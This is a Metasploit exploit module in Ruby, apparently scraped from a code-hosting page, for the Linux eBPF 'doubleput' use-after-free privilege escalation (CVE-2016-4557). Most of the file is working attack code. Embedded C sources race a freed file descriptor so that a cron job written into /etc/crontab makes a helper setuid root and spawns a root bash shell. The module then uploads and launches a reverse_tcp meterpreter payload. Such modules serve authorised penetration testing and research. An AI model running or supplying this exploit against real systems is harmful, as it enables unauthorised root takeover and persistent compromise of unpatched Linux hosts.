Path: blob/master/modules/exploits/linux/local/bpf_priv_esc.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Post::Linux::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Linux BPF doubleput UAF Privilege Escalation',21'Description' => %q{22Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)23does not properly reference count file descriptors, resulting24in a use-after-free, which can be abused to escalate privileges.2526The target system must be compiled with `CONFIG_BPF_SYSCALL`27and must not have `kernel.unprivileged_bpf_disabled` set to 1.2829Note, this module will overwrite the first few lines30of `/etc/crontab` with a new cron job. The job will31need to be manually removed.3233This module has been tested successfully on Ubuntu 16.04 (x64)34kernel 4.4.0-21-generic (default kernel).35},36'License' => MSF_LICENSE,37'Author' => [38'[email protected]', # discovery and exploit39'h00die <[email protected]>' # metasploit module40],41'Platform' => ['linux'],42'Arch' => [ARCH_X86, ARCH_X64],43'SessionTypes' => ['shell', 'meterpreter'],44'DisclosureDate' => '2016-05-04',45'Privileged' => true,46'References' => [47['BID', '90309'],48['CVE', '2016-4557'],49['EDB', '39772'],50['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],51['URL', 'https://usn.ubuntu.com/2965-1/'],52['URL', 'https://launchpad.net/bugs/1578705'],53['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],54['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],55['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']56],57'Targets' => [58[ 'Linux x86', { 'Arch' => ARCH_X86 } ],59[ 'Linux x64', { 'Arch' => ARCH_X64 } ]60],61'DefaultOptions' => {62'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',63'PrependFork' => true,64'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through65},66'Notes' => {67'AKA' =>68[69'double-fdput',70'doubleput.c'71],72'Stability' => UNKNOWN_STABILITY,73'Reliability' => UNKNOWN_RELIABILITY,74'SideEffects' => UNKNOWN_SIDE_EFFECTS75},76'DefaultTarget' => 1,77'Compat' => {78'Meterpreter' => {79'Commands' => %w[80stdapi_fs_delete_file81stdapi_sys_process_execute82]83}84}85)86)87register_options [88OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),89OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])90]91register_advanced_options [92OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),93]94end9596def base_dir97datastore['WritableDir'].to_s98end99100def exploit_data(file)101::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)102end103104def upload(path, data)105print_status "Writing '#{path}' (#{data.size} bytes) ..."106rm_f path107write_file path, data108register_file_for_cleanup path109end110111def upload_and_chmodx(path, data)112upload path, data113chmod path114end115116def live_compile?117return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')118119return true if has_prereqs?120121unless datastore['COMPILE'].eql? 'Auto'122fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'123end124end125126def has_prereqs?127def check_libfuse_dev?128lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')129if lib.include?('install')130vprint_good('libfuse-dev is installed')131return true132else133print_error('libfuse-dev is not installed. Compiling will fail.')134return false135end136end137138def check_gcc?139if has_gcc?140vprint_good('gcc is installed')141return true142else143print_error('gcc is not installed. Compiling will fail.')144return false145end146end147148def check_pkgconfig?149lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')150if lib.include?('install')151vprint_good('pkg-config is installed')152return true153else154print_error('pkg-config is not installed. Exploitation will fail.')155return false156end157end158159return check_libfuse_dev? && check_gcc? && check_pkgconfig?160end161162def upload_and_compile(path, data, gcc_args = '')163upload "#{path}.c", data164165gcc_cmd = "gcc -o #{path} #{path}.c"166if session.type.eql? 'shell'167gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"168end169170unless gcc_args.to_s.blank?171gcc_cmd << " #{gcc_args}"172end173174output = cmd_exec gcc_cmd175176unless output.blank?177print_error output178fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."179end180181register_file_for_cleanup path182chmod path183end184185def check186release = kernel_release187version = kernel_version188189if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||190Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')191vprint_error "Kernel version #{release} #{version} is not vulnerable"192return CheckCode::Safe193end194195if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/196if $1.to_i > 21197vprint_error "Kernel version #{release} is not vulnerable"198return CheckCode::Safe199end200end201vprint_good "Kernel version #{release} #{version} appears to be vulnerable"202203lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s204unless lib.include?('install')205print_error('fuse package is not installed. Exploitation will fail.')206return CheckCode::Safe207end208vprint_good('fuse package is installed')209210fuse_mount = "#{base_dir}/fuse_mount"211if directory? fuse_mount212vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")213return CheckCode::Safe214end215vprint_good("#{fuse_mount} doesn't exist")216217config = kernel_config218219if config.nil?220vprint_error 'Could not retrieve kernel config'221return CheckCode::Unknown222end223224unless config.include? 'CONFIG_BPF_SYSCALL=y'225vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'226return CheckCode::Safe227end228vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'229230if unprivileged_bpf_disabled?231vprint_error 'Unprivileged BPF loading is not permitted'232return CheckCode::Safe233end234vprint_good 'Unprivileged BPF loading is permitted'235236CheckCode::Appears237end238239def exploit240if !datastore['ForceExploit'] && is_root?241fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')242end243244unless writable? base_dir245fail_with Failure::BadConfig, "#{base_dir} is not writable"246end247248if nosuid? base_dir249fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"250end251252doubleput = %q{253#define _GNU_SOURCE254#include <stdbool.h>255#include <errno.h>256#include <err.h>257#include <unistd.h>258#include <fcntl.h>259#include <sched.h>260#include <signal.h>261#include <stdlib.h>262#include <stdio.h>263#include <string.h>264#include <sys/types.h>265#include <sys/stat.h>266#include <sys/syscall.h>267#include <sys/prctl.h>268#include <sys/uio.h>269#include <sys/mman.h>270#include <sys/wait.h>271#include <linux/bpf.h>272#include <linux/kcmp.h>273274#ifndef __NR_bpf275# if defined(__i386__)276# define __NR_bpf 357277# elif defined(__x86_64__)278# define __NR_bpf 321279# elif defined(__aarch64__)280# define __NR_bpf 280281# else282# error283# endif284#endif285286int uaf_fd;287288int task_b(void *p) {289/* step 2: start writev with slow IOV, raising the refcount to 2 */290char *cwd = get_current_dir_name();291char data[2048];292sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);293struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };294if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))295errx(1, "system() failed");296int fuse_fd = open("fuse_mount/hello", O_RDWR);297if (fuse_fd == -1)298err(1, "unable to open FUSE fd");299if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))300errx(1, "unable to write to FUSE fd");301struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);302if (iov_ == MAP_FAILED)303err(1, "unable to mmap FUSE fd");304fputs("starting writev\n", stderr);305ssize_t writev_res = writev(uaf_fd, iov_, 1);306/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */307if (writev_res == -1)308err(1, "writev failed");309if (writev_res != strlen(data))310errx(1, "writev returned %d", (int)writev_res);311fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);312while (1) sleep(1); /* whatever, just don't crash */313}314315void make_setuid(void) {316/* step 1: open writable UAF fd */317uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);318if (uaf_fd == -1)319err(1, "unable to open UAF fd");320/* refcount is now 1 */321322char child_stack[20000];323int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);324if (child == -1)325err(1, "clone");326sleep(3);327/* refcount is now 2 */328329/* step 2+3: use BPF to remove two references */330for (int i=0; i<2; i++) {331struct bpf_insn insns[2] = {332{333.code = BPF_LD | BPF_IMM | BPF_DW,334.src_reg = BPF_PSEUDO_MAP_FD,335.imm = uaf_fd336},337{338}339};340union bpf_attr attr = {341.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,342.insn_cnt = 2,343.insns = (__aligned_u64) insns,344.license = (__aligned_u64)""345};346if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)347errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");348if (errno != EINVAL)349err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");350}351/* refcount is now 0, the file is freed soon-ish */352353/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */354int status;355int hostnamefds[1000];356int used_fds = 0;357bool up = true;358while (1) {359if (waitpid(child, &status, WNOHANG) == child)360errx(1, "child quit before we got a good file*");361if (up) {362hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);363if (hostnamefds[used_fds] == -1)364err(1, "open target file");365if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;366used_fds++;367if (used_fds == 1000) up = false;368} else {369close(hostnamefds[--used_fds]);370if (used_fds == 0) up = true;371}372}373fputs("woohoo, got pointer reuse\n", stderr);374while (1) sleep(1); /* whatever, just don't crash */375}376377int main(void) {378pid_t child = fork();379if (child == -1)380err(1, "fork");381if (child == 0)382make_setuid();383struct stat helperstat;384while (1) {385if (stat("suidhelper", &helperstat))386err(1, "stat suidhelper");387if (helperstat.st_mode & S_ISUID)388break;389sleep(1);390}391fputs("suid file detected, launching rootshell...\n", stderr);392execl("./suidhelper", "suidhelper", NULL);393err(1, "execl suidhelper");394}395}396397suid_helper = %q{398#include <unistd.h>399#include <err.h>400#include <stdio.h>401#include <sys/types.h>402403int main(void) {404if (setuid(0) || setgid(0))405err(1, "setuid/setgid");406fputs("we have root privs now...\n", stderr);407execl("/bin/bash", "bash", NULL);408err(1, "execl");409}410411}412413hello = %q{414/*415FUSE: Filesystem in Userspace416Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>417heavily modified by Jann Horn <[email protected]>418419This program can be distributed under the terms of the GNU GPL.420See the file COPYING.421422gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello423*/424425#define FUSE_USE_VERSION 26426427#include <fuse.h>428#include <stdio.h>429#include <string.h>430#include <errno.h>431#include <fcntl.h>432#include <unistd.h>433#include <err.h>434#include <sys/uio.h>435436static const char *hello_path = "/hello";437438static char data_state[sizeof(struct iovec)];439440static int hello_getattr(const char *path, struct stat *stbuf)441{442int res = 0;443memset(stbuf, 0, sizeof(struct stat));444if (strcmp(path, "/") == 0) {445stbuf->st_mode = S_IFDIR | 0755;446stbuf->st_nlink = 2;447} else if (strcmp(path, hello_path) == 0) {448stbuf->st_mode = S_IFREG | 0666;449stbuf->st_nlink = 1;450stbuf->st_size = sizeof(data_state);451stbuf->st_blocks = 0;452} else453res = -ENOENT;454return res;455}456457static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {458filler(buf, ".", NULL, 0);459filler(buf, "..", NULL, 0);460filler(buf, hello_path + 1, NULL, 0);461return 0;462}463464static int hello_open(const char *path, struct fuse_file_info *fi) {465return 0;466}467468static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {469sleep(10);470size_t len = sizeof(data_state);471if (offset < len) {472if (offset + size > len)473size = len - offset;474memcpy(buf, data_state + offset, size);475} else476size = 0;477return size;478}479480static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {481if (offset != 0)482errx(1, "got write with nonzero offset");483if (size != sizeof(data_state))484errx(1, "got write with size %d", (int)size);485memcpy(data_state + offset, buf, size);486return size;487}488489static struct fuse_operations hello_oper = {490.getattr = hello_getattr,491.readdir = hello_readdir,492.open = hello_open,493.read = hello_read,494.write = hello_write,495};496497int main(int argc, char *argv[]) {498return fuse_main(argc, argv, &hello_oper, NULL);499}500}501502@hello_name = 'hello'503hello_path = "#{base_dir}/#{@hello_name}"504@doubleput_name = 'doubleput'505doubleput_path = "#{base_dir}/#{@doubleput_name}"506@suidhelper_path = "#{base_dir}/suidhelper"507payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"508509if live_compile?510vprint_status 'Live compiling exploit on system...'511512upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')513upload_and_compile(doubleput_path, doubleput, '-Wall')514upload_and_compile(@suidhelper_path, suid_helper, '-Wall')515else516vprint_status 'Dropping pre-compiled exploit on system...'517518upload_and_chmodx(hello_path, exploit_data('hello'))519upload_and_chmodx(doubleput_path, exploit_data('doubleput'))520upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))521end522523vprint_status 'Uploading payload...'524upload_and_chmodx(payload_path, generate_payload_exe)525526print_status('Launching exploit. This may take up to 120 seconds.')527print_warning('This module adds a job to /etc/crontab which requires manual removal!')528529register_dir_for_cleanup "#{base_dir}/fuse_mount"530cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "531sec_waited = 0532until sec_waited > datastore['MAXWAIT'] do533Rex.sleep(5)534# check file permissions535if setuid? @suidhelper_path536print_good("Success! set-uid root #{@suidhelper_path}")537cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "538return539end540sec_waited += 5541end542print_error "Failed to set-uid root #{@suidhelper_path}"543end544545def cleanup546cmd_exec "killall #{@hello_name}"547cmd_exec "killall #{@doubleput_name}"548ensure549super550end551552def on_new_session(session)553# remove root owned SUID executable and kill running exploit processes554if session.type.eql? 'meterpreter'555session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'556session.fs.file.rm @suidhelper_path557session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"558session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"559session.fs.file.rm "#{base_dir}/fuse_mount"560else561session.shell_command_token "rm -f '#{@suidhelper_path}'"562session.shell_command_token "killall #{@doubleput_name}"563session.shell_command_token "killall #{@hello_name}"564session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"565end566ensure567super568end569end570571572